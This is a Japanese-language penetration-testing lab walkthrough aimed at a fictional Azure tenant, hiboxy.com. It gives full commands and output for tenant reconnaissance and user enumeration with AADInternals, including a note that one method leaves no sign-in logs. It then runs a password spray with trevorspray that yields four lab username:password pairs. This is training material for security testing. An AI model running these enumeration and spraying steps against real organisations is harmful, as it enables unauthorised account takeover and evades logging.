Skip to content

Lab 5.6: Azure偵察とパスワードスプレー攻撃

オフライン演習

接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要です。

目的

  • AADInternalsモジュールを使用してドメイン偵察を実行する
  • AADInternalsモジュールを使用して単一ユーザー名の収集を行う
  • AADInternalsモジュールを使用して大量のユーザーを収集する
  • trevorsprayを使用して限定的なパスワードスプレー攻撃によるパスワード攻撃を実行する

ウォークスルービデオ

Lab セットアップ

使用するVM:

  • Linux
  • Windows 11

Lab – ステップバイステップの手順

偵察とパスワードベースの攻撃を実行することでAzure Labを開始します。MITRE ATT&CK®フレームワークでは、我々の戦術を偵察(TA0043)と初期アクセス(TA0001)として分類します。このLabでは、以下を含むいくつかの目標に焦点を当てます:

  • Entra IDにホストされている有効および無効なドメインの検索
  • そのディレクトリに存在する有効および無効なアカウントの検索
  • パスワードスプレーなどの技術を使用して、既知のパスワードリストでこれらのアカウントを攻撃する

Lab – ステップバイステップの手順

1: AADInternalsの読み込み

Windows 11 VMでは、AADInternalsのAADおよびM365キルチェーンセクションから開始して、外部者としてスキャンします。

AADInternalsツールを起動するには、PowerShellプロンプトを開き、以下のコマンドを実行します。

コマンド

Import-Module AADInternals

想定される結果

PS C:\Users\sec560> Import-Module AADInternals
    ___    ___    ____  ____      __                        __
/   |  /   |  / __ \/  _/___  / /____  _________  ____ _/ /____
/ /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ `/ / ___/
/ ___ |/ ___ |/ /_/ _/ // / / / /_/  __/ /  / / / / /_/ / (__  )
/_/  |_/_/  |_/_____/___/_/ /_/\__/\___/_/  /_/ /_/\__,_/_/____/

v0.9.4 by @DrAzureAD (Nestori Syynimaa)

2: Invoke-AADIntReconAsOutsider

次に、モジュールの1つを使用して偵察を実行します。このプロセスを支援するいくつかのモジュールがあります。AADInternalsに含まれるツールは、内部ユーザー、ゲストユーザー、および完全な外部者として偵察を行うことができます。既知の認証情報がないため、AADIntReconAsOutsiderを使用するように設定します。

コマンド

Invoke-AADIntReconAsOutsider -DomainName hiboxy.com | Format-Table

想定される結果

PS C:\Users\sec560> Invoke-AADIntReconAsOutsider -DomainName hiboxy.com | Format-Table
Tenant brand:       Hiboxy
Tenant name:
Tenant id:          1c0060e4-c4db-4777-a48b-34a1515e33bf
Tenant region:      NA
DesktopSSO enabled: False
Get-TenantSubscope: C:\Users\sec560\Documents\PowerShell\Modules\AADInternals\0.9.8\KillChain_utils.ps1:266
Line |
266 |              $SubScope = Get-TenantSubscope -Domain $User.Split("@")[1]
    |                                                      ~~~~~~~~~~~~~~~~~~~
    | Cannot bind argument to parameter 'Domain' because it is an empty string.
WARNING: Requests throttled!

Name         DNS    MX   SPF DMARC  DKIM MTA-STS Type    STS
----         ---    --   --- -----  ---- ------- ----    ---
hiboxy.com False False False       False   False Managed
KillChain_utils.ps1エラーについて知りたいですか?

このエラーについて議論しているAADInternals GitHubリポジトリに問題があります。MicrosoftがAPIに対するサーバー側の応答を変更すると、AADInternalsモジュールに問題が発生する可能性があります。

攻撃シナリオの一部として考慮したい注目すべき項目がいくつかあります。まず、hiboxy.comがプライマリテナントドメインであることがわかります。元々存在するいくつかのドメインがあります。hiboxy.onmicrosoft.comが元のテナント名である可能性があります。この「パターン」を知ることで、同様の名前を持つ他のサービスが明らかになる可能性があります。次に、有効になっているものと有効になっていないものを確認します。シングルサインオンを有効にできるDesktopSSOは有効になっていません。この機能が有効になっていないということは、AZUREADSSOACCコンピュータアカウントがオンプレミスドメインにないため、攻撃ベクトルとして使用できない可能性があることを意味します。また、メール設定が強化されていないようです。hiboxy.comのMXレコードがなく、どのドメインにもDMARCレコードが存在しません。

3: Invoke-AADIntUserEnumerationAsOutsider

有効なドメインがあるので、ユーザーを列挙の対象にすることができます。

コマンド

Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com"

想定される結果

PS C:\Users\sec560> Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com"

UserName           Exists
--------           ------
aparker@hiboxy.com   True

このモジュールが攻撃のために使用する3つのAPIがあります:

  • Normal(指定なし): GetCredentialType API
  • Login: 標準ユーザーログインを試行します。試行はサインインログに記録されます
  • Autologon: autologon APIを使用します。このAPIはログイベントを残しません

コマンド

Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com" -Method Login

想定される結果

PS C:\Users\sec560> Invoke-AADIntUserEnumerationAsOutsider -UserName "aparker@hiboxy.com" -Method Login

UserName           Exists
--------           ------
aparker@hiboxy.com   True

これは1人のユーザーを検索するには十分ですが、より多くのユーザーリストについてはどうでしょうか?

4: ユーザー名収集攻撃

次のコマンドでは、ユーザー名のリストが必要です。hiboxy.comドメインでこれらのユーザー名を使用しようとします。ドメインコントローラーで見つけたユーザーのいくつかを取得し、C:\CourseFiles\users.txtファイルに配置しました。実際の世界では、偵察フェーズ中にこのリストを作成することになるでしょう。

ユーザーのリストを見てみましょう。

コマンド

Get-Content C:\CourseFiles\users.txt

想定される結果

PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt
abates@hiboxy.com
alee@hiboxy.com
aparker@hiboxy.com
bgreen@hiboxy.com
bking@hiboxy.com
bsanchez@hiboxy.com
bwebster@hiboxy.com
hmarsh@hiboxy.com
janderson@hiboxy.com
jcooper@hiboxy.com
jlopez@hiboxy.com
jmartin@hiboxy.com
kacevedo@hiboxy.com
mhernandez@hiboxy.com
mlara@hiboxy.com
mluna@hiboxy.com
nlopez@hiboxy.com
rduran@hiboxy.com
rgray@hiboxy.com
slopez@hiboxy.com
ssmith@hiboxy.com

これらのユーザーでInvoke-AADIntUsrEnumerationAsOutsiderを実行します。これは認証のタイプを指定せずにログ証跡を残します。

コマンド

Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider

想定される結果

PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider

UserName          Exists
--------          ------
abates@hiboxy.com   True
alee@hiboxy.com    False
aparker@hiboxy...   True
bgreen@hiboxy.com  False
bking@hiboxy.com   False
bsanchez@hibox...  False
bwebster@hibox...  False
hmarsh@hiboxy.com  False
janderson@hibo...  False
jcooper@hiboxy...  False
jlopez@hiboxy.com  False
jmartin@hiboxy...  False
kacevedo@hibox...  False
mhernandez@hib...  False
mlara@hiboxy.com    True
mluna@hiboxy.com   False
nlopez@hiboxy.com  False
rduran@hiboxy.com  False
rgray@hiboxy.com   False
slopez@hiboxy.com   True
ssmith@hiboxy.com  False

存在するユーザーのみのリストを作成しましょう。

コマンド

Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider | Where-Object Exists | Select-Object UserName

想定される結果

PS C:\Users\sec560> Get-Content C:\CourseFiles\users.txt | Invoke-AADIntUserEnumerationAsOutsider | Where-Object Exists | Select-Object UserName

UserName
--------
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com

次のステップはLinuxから実行します。続行するにはSEC560 Linux VMに切り替えてください。

5: Linuxでの攻撃準備

Linuxシステムに切り替えて、上記の情報に基づいてユーザーリストを作成します。注意として、ユーザー名だけが必要で、メールアドレスのような形式は必要ありません。

コマンド

cat << EOF > /tmp/users.txt
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com
EOF

想定される結果

sec560@560vm:~$ cat << EOF > /tmp/users.txt
> abates@hiboxy.com
> aparker@hiboxy.com
> mlara@hiboxy.com
> slopez@hiboxy.com
> EOF
cat << EOF構文について知りたいですか?

<<は、ファイルの内容をコマンドにリダイレクトできるシェルオペレーターです。この場合、ユーザー名の内容でファイルを作成するために使用しています。EOFは、ファイルの終わりがどこであるかをシェルに伝えるデリミタです。任意の文字列を使用できますが、EOFは一般的な選択肢です。

ファイルが正しいことを確認しましょう。

コマンド

cat /tmp/users.txt

想定される結果

sec560@560vm:~$ cat /tmp/users.txt 
abates@hiboxy.com
aparker@hiboxy.com
mlara@hiboxy.com
slopez@hiboxy.com

以前のLabでクラックしたパスワードを使用して、passwords.txtファイルも作成しましょう。

コマンド

cat << EOF > /tmp/passwords.txt
Oozle11
Password123
Packardbell350
Metallica6
Tibbetts3
Patrique2238
EOF

想定される結果

sec560@560vm:~$ cat << EOF > /tmp/passwords.txt
> Oozle11
> Password123
> Packardbell350
> Metallica6
> Tibbetts3
> Patrique2238
> EOF

ファイルが正しく作成されたことを確認しましょう。

コマンド

cat /tmp/passwords.txt

想定される結果

sec560@560vm:~$ cat /tmp/passwords.txt
Oozle11
Password123
Packardbell350
Metallica6
Tibbetts3
Patrique2238

6: パスワードスプレー攻撃

パスワードスプレー攻撃のために、Linux VMからtrevorsprayを使用します。

まず、使用方法を確認しましょう:

コマンド

trevorspray --help

想定される結果

sec560@560vm:~$ trevorspray -h
[INFO] Command: /usr/local/bin/trevorspray -h
usage: trevorspray [-h] [-m {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] [-r DOMAIN] [-t THREADS] [-f] [-d DELAY]
                [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]]
                [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
-h, --help            show this help message and exit

basic arguments:
-m {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}, --module {okta,anyconnect,msol,owa,adfs,auth0,jumpcloud}
                        Spray module to use (default: msol)
-u USERS [USERS ...], --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
-p PASSWORDS [PASSWORDS ...], --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
--url URL             The URL to spray against
-r DOMAIN, --recon DOMAIN, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.

...trimmed for brevity...

Trevorsprayには多くのオプションがありますが、以下を使用します:

  1. メールアドレスのリストを含むusers.txtファイル
  2. パスワードのリストを含むpasswords.txtファイル
  3. hiboxy.comに対する認証のためのURL。これは偵察によってすぐに取得します

まず、以前の結果をクリーンアップしてから、hiboxy.comに対して偵察を実行しましょう:

コマンド

rm -rf ~/.trevorspray 2>/dev/null
trevorspray --recon hiboxy.com

想定される結果

sec560@560vm:~$ rm -rf ~/.trevorspray 2>/dev/null
sec560@560vm:~$ trevorspray --recon hiboxy.com
[INFO] Command: /usr/local/bin/trevorspray --recon hiboxy.com
[INFO] Checking MX records for hiboxy.com
[WARN] No results.
[INFO] Checking TXT records for hiboxy.com
[WARN] No results.
[INFO] Checking OpenID configuration at https://login.windows.net/hiboxy.com/.well-known/openid-configuration
[INFO] NOTE: You can spray against "token_endpoint" with --url!!
[SUCC] 
{
    "token_endpoint": "https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token",
...trimmed for brevity...

ドメイン名だけからこれほど多くの情報を得られることは驚くべきことです。これでスプレー攻撃に必要なURLが手に入りました。攻撃で使用しましょう:

コマンド

trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url 'https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token'

想定される結果

sec560@560vm:~$ trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url 'https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token'
[INFO] Command: /usr/local/bin/trevorspray --users /tmp/users.txt --passwords /tmp/passwords.txt --url https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token
[INFO] Spraying 4 users * 6 passwords against https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token at Fri Sep 13 00:18:39 2024
[INFO] Checking user realm at https://login.microsoftonline.com/getuserrealm.srf?login=test@hiboxy.com
[WARN] abates@hiboxy.com:Oozle11 - AADSTS50126: Invalid email or password. Account could exist.
[SUCC] aparker@hiboxy.com:Oozle11 - AADSTS50131: Correct password but login was blocked.
...trimmed for brevity...
[INFO] Finished spraying 24 users against https://login.windows.net/1c0060e4-c4db-4777-a48b-34a1515e33bf/oauth2/token at Fri Sep 13 00:19:55 2024
[SUCC] aparker@hiboxy.com:Oozle11
[SUCC] mlara@hiboxy.com:Packardbell350
[SUCC] abates@hiboxy.com:Metallica6
[SUCC] slopez@hiboxy.com:Tibbetts3
[INFO] 24 valid users written to /home/sec560/.trevorspray/existent_users.txt
[INFO] 4 valid user/pass combos written to /home/sec560/.trevorspray/valid_logins.txt

7: 攻撃の出力を表示する

結果がファイルに保存されていることに注意してください。この例では、ファイルは/home/sec560/.trevorspray/valid_logins.txtです。その内容を調べてみましょう:

コマンド

cat /home/sec560/.trevorspray/valid_logins.txt

想定される結果

sec560@560vm:~$ cat /home/sec560/.trevorspray/valid_logins.txt
aparker@hiboxy.com:Oozle11
mlara@hiboxy.com:Packardbell350
abates@hiboxy.com:Metallica6
slopez@hiboxy.com:Tibbetts3

偶然ではありませんが、これは侵害データが取る傾向がある同じ形式です -- email_address:password

複数のユーザーが有効なユーザー名とパスワードを持っていることがわかりました。これらのいくつかはAzure Portalで権限を持っている可能性があり、他のものは持っていない可能性があります。どのユーザーが有効かを理解するために、さらに作業を行う必要があります。以下は有効なユーザーとパスワードのリストです:

発見されたユーザー名とパスワード

これらのパスワードを見つけたはずです。推測された認証情報の完全なリストのために、侵害リストから他のパスワードも含めています。

ユーザー ログイン パスワード
abates abates@hiboxy.com Metallica6
aparker aparker@hiboxy.com Oozle11
mlara mlara@hiboxy.com Packardbell350
slopez slopez@hiboxy.com Tibbetts3

まとめ

このLabでは、AADInternalsを使用してテナントAzure環境をよく理解することから始めました。探索した多くのツールは、機能を実行するためにパスワードスプレーを活用しています。単一のクライアント識別子を使用して、単一のAzure認証エンドポイントに対してこれらの攻撃を実行しました。これが唯一の攻撃パスではありませんが、多くのテスターにとって非常に人気のあるオプションです。

侵入テスターは、パスワードスプレー、ユーザー名列挙、およびテナント識別を使用して、ターゲット組織に対して成功したキャンペーンを実施できます。これにより、環境内で最初の足がかりを提供する攻撃を策定したり、さらなる攻撃を実施する能力を提供したりすることができます。